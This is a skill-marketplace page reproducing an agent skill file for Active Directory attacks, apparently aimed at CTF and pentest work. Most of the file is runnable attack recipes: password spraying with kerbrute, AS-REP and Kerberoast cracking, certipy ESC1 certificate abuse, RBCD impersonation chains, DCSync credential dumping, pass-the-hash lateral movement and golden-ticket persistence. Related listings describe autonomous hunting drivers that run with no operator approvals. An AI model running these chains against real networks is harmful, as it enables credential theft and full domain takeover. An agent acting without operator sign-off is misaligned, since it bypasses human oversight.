本文へ移動
cccskills
無料GitHub で公開

hunt-ad

Active Directory attack hunting - enumeration to domain dominance. Spray-safe (lockout gate), AS-REP/Kerberoast, ACL + ADCS (ESC1-16), delegation, DCSync, lateral movement. Wiki-first, FIND schema output.

インストール方法を見る

含まれるファイル(1)

  • SKILL.md14.1 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

Hunt: Active Directory

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "Active Directory kerberoast AS-REP ADCS ESC delegation DCSync lateral movement BloodHound" via wiki-search MCP

Hub: [[active-directory-moc]] (live index). Primary page: [[active-directory]]. Anchors: [[adcs]] (ESC1-16 matrix, the highest-value escalation edge), [[kerberos-attacks]] (AS-REP/Kerberoast plus the delegation paths). Tool anchor: [[netexec]] (the full nxc map: every protocol, flag, and module, with the spray/lockout, Kerberos, exec-method, and dumping gotchas). Read the LDAP + SMB sections before hand-rolling any AD enumeration; most steps below are one nxc flag.

Attack surface signals

Ports: SMB 445, LDAP 389/636, Kerberos 88, ADWS 9389, WinRM 5985/5986, RPC 135, MSSQL 1433, ADCS web enroll 80/443 (/certsrv). Footholds: null/guest SMB, anonymous LDAP bind, AS-REP-roastable users (no preauth), SMB signing OFF (relay), ms-DS-MachineAccountQuota > 0, pre-Win2000 computers, LAPS readable.

Spray-safe + AD safety gate (READ FIRST)

  • Spray-safe lockout gate - the AD analog of the hunt-core enumeration limits. Read the domain lockout policy BEFORE any spray: nxc smb <dc> -u <user> -p <pass> --pass-pol. Spray at most 1 attempt per account per observation window, and never exceed (lockoutThreshold - 1) attempts per account per window. RoE no_bruteforce / passive_only -> enumerate only, NO spray. Locking real accounts is a client-impacting incident, not a finding.
  • Reuse captured creds first (from loot.md) before researching new ones; default/known creds before any spray (see [[default-credentials]]).
  • Clock skew: sync to DC (ntpdate <dc> or faketime) or Kerberos TGT requests fail with KRB_AP_ERR_SKEW.
  • Stale /etc/hosts realm entry silently breaks Kerberos. A prior box's <realm> -> <old-ip> line makes impacket resolve the KDC to a dead host and hang with [Errno 110] Connection timed out (REALM:88), even though certipy (which forces -dc-ip) worked seconds earlier. When you add the DC to /etc/hosts, REMOVE any existing line for the same realm, and ALWAYS pass -dc-ip <dc> (and -target-ip <dc>) on impacket Kerberos ops so KDC/target resolution never depends on DNS/hosts. Same fix if certipy req throws The NETBIOS connection ... timed out: add -target-ip <dc>.
  • Hash recovered but the account blocks NTLM? ESC1/UnPAC/PKINIT hands you BOTH an NT hash AND a TGT ccache. If PtH returns STATUS_ACCOUNT_RESTRICTION (the account is in Protected Users / NTLM-hardened, common for Administrator), the hash is a red herring - use the ccache: export KRB5CCNAME=<user>.ccache; impacket-smbclient/secretsdump -k -no-pass -dc-ip <dc> <dc-fqdn> reads flags / DCSyncs over Kerberos. See [[adcs]].
  • Never pivot through 192.168.1.x hosts (Ligolo tunnel only for lateral movement).

Ranked path + highest-value edges

Ranked: enum -> AS-REP/Kerberoast -> ACL / ADCS ESC1-16 -> delegation -> DCSync -> lateral -> DA. The ADCS ESC1-16 matrix (step 5) and the delegation paths (step 6) are the highest-value edges - one vulnerable template or a writable msDS-AllowedToActOnBehalfOfOtherIdentity is often the entire DA chain. Chain: every cracked/sprayed cred re-feeds enum + BloodHound; a Kerberoastable SPN account doubles as an RBCD -delegate-from; an on-box cred store (step 7) frequently yields the account that holds the winning ACL.

Methodology

Efficiency: fire the unauth-enum WAVE at once, don't grind it serially. On a fresh DC the first 6 reads are independent - launch them together (parallel tmux tabs / back-to-back), then read results: null+guest shares & RID-brute, anonymous LDAP users + all description/info fields (planted seed passwords live here), AS-REP roast of the whole user list, person-object SPN enum (Kerberoast), the LDAP lockout policy, AND certipy find -vulnerable (ADCS ESC is on MOST modern THM/HTB DCs - run it in the unauth wave with any cred you get, not as an afterthought). This one wave usually already contains the foothold (a description seed to spray) and the escalation (an ESC template).

  1. Unauth enum:
nxc smb <dc> -u '' -p '' --shares            # null session
nxc smb <dc> -u guest -p '' --rid-brute 5000 # guest RID cycling when null shares are denied
nxc ldap <dc> -u '' -p '' --users            # anonymous bind
# planted-password sweep (classic THM foothold) - read EVERY non-generic description:
ldapsearch -x -H ldap://<dc> -b <base> "(objectClass=user)" sAMAccountName description
enum4linux-ng -A <dc>;  rpcclient -U '' -N <dc>
  1. Build the user list - harvest EXHAUSTIVELY, then validate (lockout-safe): When anon enum is locked down, the user list comes from the target's own web app + OSINT. Scrape EVERY page, not just the homepage - names hide in about/team/staff/leadership/testimonial/ contact sections that the index page does not show. (Missing the about.html "Our Team" block once cost two valid users on a box.) Extract every First Last, note the format from any leaked email (j.doe@dom = f.last), generate permutations, and let kerbrute tell you which are real:
# pull all pages, strip tags, extract capitalized name bigrams
for p in $(curl -s http://<t>/ | grep -oiE 'href="[^"]+\.html?"' | cut -d'"' -f2 | sort -u); do
  curl -s http://<t>/$p | sed -e 's/<[^>]*>/ /g'; done | grep -oE '[A-Z][a-z]+ [A-Z][a-z]+' | sort -u
# -> for each "First Last": emit f.last, flast, first.last, first_last, last  (+ leaked-email format)
kerbrute userenum -d <domain> --dc <dc> users.txt      # filler template names simply will NOT validate
# SPRAY with kerbrute, NOT a large SMB loop: kerbrute passwordspray is parallel Kerberos pre-auth
# (~500 users in seconds); `nxc smb -u <file>` walks them one TCP session at a time (minutes). Same
# result, ~50x faster - reach for kerbrute first on any big list, keep nxc for the 1-off cred check.
kerbrute passwordspray -d <domain> --dc <dc> users.txt 'CHANGEME2023!'   # one-pass, lockout-gated

Every validated user is an AS-REP roast + spray target (step 3). Do NOT stop at the first/only name the homepage leaks. 3. Roasting:

impacket-GetNPUsers <domain>/ -dc-ip <dc> -usersfile users.txt -no-pass   # AS-REP
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc> -request          # Kerberoast
hashcat -m 18200 asrep.txt rockyou.txt;  hashcat -m 13100 tgs.txt rockyou.txt
  • Enumerate USER SPNs with an object-class filter, or the DC machine account masks them. A bare (servicePrincipalName=*) is dominated by AD$'s many SPNs; the ONE Kerberoastable user is easily missed and you wrongly conclude "no Kerberoast target" (drift into AS-REP-crack/spray rabbit holes). Always: ldapsearch -x -H ldap://<dc> -b <base> "(&(servicePrincipalName=*)(objectCategory=person))" sAMAccountName servicePrincipalName.
  • No creds but an AS-REP-roastable account exists? Kerberoast WITHOUT pre-auth (credless): use the roastable account as the requester -> impacket-GetUserSPNs -no-preauth <asrep_user> -usersfile <spn_users> -dc-host <dc> <domain>/. Then hashcat -m 13100. See [[roasting-kerberoasting]].
  • hashcat single-instance lock: a long crack (e.g. rockyou x big-rule) holds /usr/bin/hashcat; a second crack exits INSTANTLY with "Already an instance ... running" (Started==Stopped, empty --show). pkill hashcat (or wait) before the next crack, and check output for that line when a crack returns nothing.
  1. BloodHound + ACL abuse:
nxc ldap <dc> -u <user> -p <pass> --bloodhound -c all --dns-server <dc>
# GenericWrite/WriteDACL/GenericAll -> shadow creds (certipy shadow auto), targeted Kerberoast, group add
  • A ForceChangePassword/control chain that "dead-ends" is a BloodHound-ACL blind spot, NOT a dead end. Re-enumerate the ATTRIBUTES of every account you gain, especially the terminal one. The winning primitive is frequently an account PROPERTY the ACL graph does not surface as an outbound edge: constrained delegation (msDS-AllowedToDelegateTo), an SPN (Kerberoastable / RBCD -delegate-from), a DCSync right, AdminCount, or membership that grants it. When a reset daisy-chain (TABATHA->SHAWNA->CRUZ->DARLA) loops or stops, run on the LAST user you own: nxc ldap <dc> -u <user> -p <pass> --find-delegation (constrained/unconstrained/RBCD in one shot), impacket-GetUserSPNs (SPN), and re-check its group memberships. Do NOT conclude "no path to DA" off the ACL edges alone (real: a whole box's DA leg was Constrained w/ Protocol Transition on the chain's terminal user, invisible as an ACL edge; chasing the ACL-controlled accounts instead burned the run).
  1. ADCS (run on every engagement):
certipy find -u <user>@<domain> -p <pass> -dc-ip <dc> -vulnerable -stdout    # ESC1-16
certipy req -u <user>@<domain> -p <pass> -ca <ca> -template <vuln> -upn administrator@<domain>   # ESC1
  1. Delegation: unconstrained (TGT capture via printerbug/coerce), constrained (-impersonate), RBCD (ms-DS-AllowedToActOnBehalfOfOtherIdentity write).
    • Constrained delegation W/ PROTOCOL TRANSITION on a USER you control = instant impersonation of ANY user to that SPN (no computer/RBCD needed): --find-delegation shows Constrained w/ Protocol Transition + the DelegationRightsTo SPN (e.g. cifs/DC.dom). Then impacket-getST -spn cifs/DC.<dom> -impersonate Administrator -dc-ip <dc> '<dom>/<user>:<pass>' -> KRB5CCNAME=Administrator@...ccache impacket-smbclient -k -no-pass DC.<dom> reads C$\Users\Administrator\Desktop\root.txt directly (no exec, AV-safe). Sync clock first (ntpdate <dc>) or getST throws KRB_AP_ERR_SKEW; add the DC FQDN to /etc/hosts. This is the whole DA leg when a reset-chain's terminal user holds it.
    • RBCD -> DA chain (own an account with AddAllowedToAct/GenericWrite on a computer + MAQ>0): impacket-addcomputer <dom>/<u>:<p> -computer-name 'FAKE$' -computer-pass <pw> -dc-ip <dc> -> impacket-rbcd <dom>/<u>:<p> -delegate-to 'DC01$' -delegate-from 'FAKE$' -action write -dc-ip <dc> -> impacket-getST <dom>/'FAKE$':<pw> -spn cifs/DC01.<dom> -impersonate Administrator -dc-ip <dc> -> KRB5CCNAME=<ccache> impacket-secretsdump -k -no-pass DC01.<dom> -just-dc-user Administrator. Sync clock if getST throws KRB_AP_ERR_SKEW. The account with the write is often obtained by password reuse from an on-box cred store (step 7), not an ACL edge from your foothold.
    • MAQ=0 does NOT block RBCD. You only need a machine account if you have none; ANY account you control with an SPN (a Kerberoastable user) is a valid -delegate-from. Cracked a Kerberoastable user? Reuse it, skip addcomputer. And the write can come from a low-priv principal: a DACL granting BUILTIN\Guests GenericWrite over the DC computer object is exploitable straight from a guest/null session (-hashes :31d6cfe0d16ae931b73c59d7e0c089c0 = empty-pw NT hash, since impacket prompts on a TTY-less run). See [[kerberos-attacks]].
  2. Credential access / DCSync:
nxc smb <dc> -u <user> -p <pass> --ntds                 # if admin
impacket-secretsdump <domain>/<user>:<pass>@<dc>        # DCSync if rights
  • On-box cred stores (via RDP/session): a user only in Remote Desktop Users can still RDP the DC (nxc rdp shows Pwn3d) -> hunt KeePass *.kdbx, browser/WinSCP/RDP creds. A KeePass DB keyed to the Windows user account (KeePass.config.xml <UserAccount>true</UserAccount>) is UNCRACKABLE offline - open KeePass ON the box as that user, then spray the creds for reuse. Headless-RDP recipe: [[ad-lateral-movement]] / Skill(ctf-box); see [[password-cracking]].
  1. Lateral: PtH / PtT / overpass-the-hash -> evil-winrm, nxc ... -x, impacket-wmiexec, psexec. AV gotcha: Defender blocks nxc -x/wmiexec output retrieval ("could not retrieve output file"); to just READ a file (the flag) as admin, skip exec entirely: smbclient //<dc>/C$ -U <dom>/Administrator --pw-nt-hash <nt> -c 'get Users\Administrator\Desktop\flag.txt', or use --exec-method smbexec/atexec.
  2. Dominance: golden (krbtgt) / silver / diamond ticket, DCSync persistence, AdminSDHolder, certificate (ESC8 NTLM relay to ADCS web enroll).
  3. Distill (confirmed, GENERIC): a reusable ACL chain / ADCS ESC variant / relay primitive -> python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/active-directory/adcs.md.

Confirmation gate

NOT confirmation: a hash captured but never cracked or used; a Kerberoast/AS-REP ticket dumped but not cracked; a BloodHound edge (GenericWrite, AddAllowedToAct, an ESC "vulnerable" flag) that is theoretical and never executed; certipy find listing a template you never enrolled against; a spray "hit" you have not re-validated with a clean authentication.

IS confirmation: credentials validated against the DC (nxc smb/ldap/winrm <dc> -u <user> -p <pass> returns [+] / Pwn3d!); a TGT/TGS obtained AND used (authenticated an action, read a file, DCSynced with it); a DCSync that actually returned NT hashes; an ACL abuse executed end to end (shadow-creds -> authenticated, targeted Kerberoast -> cracked, group add -> new access gained); an ESC exploited to a certificate that authenticated as the target. Reproduced from your own written steps.

Severity

CRITICAL = DA / domain compromise / DCSync / ESC1 / ESC8. HIGH = user creds + lateral movement, Kerberoast cracked to a privileged account. MEDIUM = enum / info disclosure, a spray hit with no privilege.

Deadends

Append: - [ ] AD spray <domain> -- full user x pass matrix once (Season2025!/Welcome1), 0 hits, lockout thr 5;
              ADCS no ESC template; no BloodHound path from <user>

Record the boundary (which creds, which lockout threshold, which ESC/BH gaps), not just that it failed. A bare entry gets re-run.

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

arsenal

無料

Wiki-first "what do I use" lookup - pick the automated TOOL (wiki/tools/), then the PAYLOAD/technique (wiki/payloads/ + wiki/cheatsheets/), for a surface/service/vuln-class BEFORE hand-rolling or working from memory. Use for "tool for <service>", "automated tools for web/<service>", "what should I run on <surface>", "which tool for <X>", "payloads for <X>", "payload arsenal", "cheatsheet for <X>", "how do I exploit <tech/class>", "exploit/attack chain for <X>", "arsenal", any SSRF/XSS/SQLi/SSTI/LFI/JWT/XXE/IDOR/NoSQL/deserialization/CSRF/CORS/CRLF/GraphQL/smuggling/web-cache/OAuth/SAML/MFA/crypto/LDAP/XPath/WebAuthn/file-upload/IMDS/prompt-injection/Modbus ask, plus "privesc arsenal", "CVE arsenal", "default creds", "nuclei templates", "sqlmap/hydra/nmap/bloodhound", "password attacks".

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

Autonomous bug-bounty campaign driver. Runs a full programme end to end with no operator approvals - the deterministic driver (scripts/campaign.py) owns pass state, generates the killchain board from recon, and prints the exact next action (including which Skill and tool to run) every turn. Use when starting or resuming a bug-bounty engagement, "run the bb workflow", "hunt this program", "9-pass campaign", or when handed a *.scope wildcard to test for TIER1 findings. Single agent, refuter-verified, wiki-first, tool-first.

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

Health check for the bb/pt/ctf workflow driver subsystem - verifies everything is in place so every machine runs the same. Checks vault-content consistency (scripts present, JSON valid, routing wired, all 69 tool pages carry phase:, the tool index resolves, the hook edits are in place) AND per-machine wiring (the three workflow skills symlinked, hooks registered, imports work), then runs a live init->board->next smoke test. Use when setting up the workflow on a new machine, after a vault sync, when the driver misbehaves, or on "bb-health", "campaign health", "is the workflow set up", "check hooks and scripts", "why is the board not working".

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

Bring up a REAL, visible, interactive chromium on the Kali VM that the operator logs into (Smart-ID / Mobile-ID / any manual auth or MFA/CAPTCHA), while the agent drives and observes it live through the chrome-devtools MCP (navigate, DOM snapshot, network capture, screenshots, console, evaluate). Use whenever a target needs a MANUAL login the agent cannot complete headlessly, when you need to capture an authenticated session / the real API calls a page makes, or to confirm/screenshot a DOM-XSS. Triggers - "open a browser", "log in manually", "smart-id / mobile-id / national id login", "mfa / 2fa login", "solve the captcha", "drive the browser", "capture the authenticated session / network".

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

OFFLINE FALLBACK for the claude-md-management plugin - prefer that plugin when it is installed. Audit and improve CLAUDE.md files - scan for CLAUDE.md files, evaluate quality against templates, output a report, then make targeted updates. Invoke explicitly (/claude-md-improver) when the plugin is unavailable.

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

coverage

無料

Show per-asset vuln-class coverage gaps for the active engagement so nothing in scope is skipped. Use when asked "coverage", "what haven't we tested", "test gaps", "are we thorough", or before calling an engagement done.

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

Encod3d-Sec のスキルをすべて見る

このスキルの問題を報告する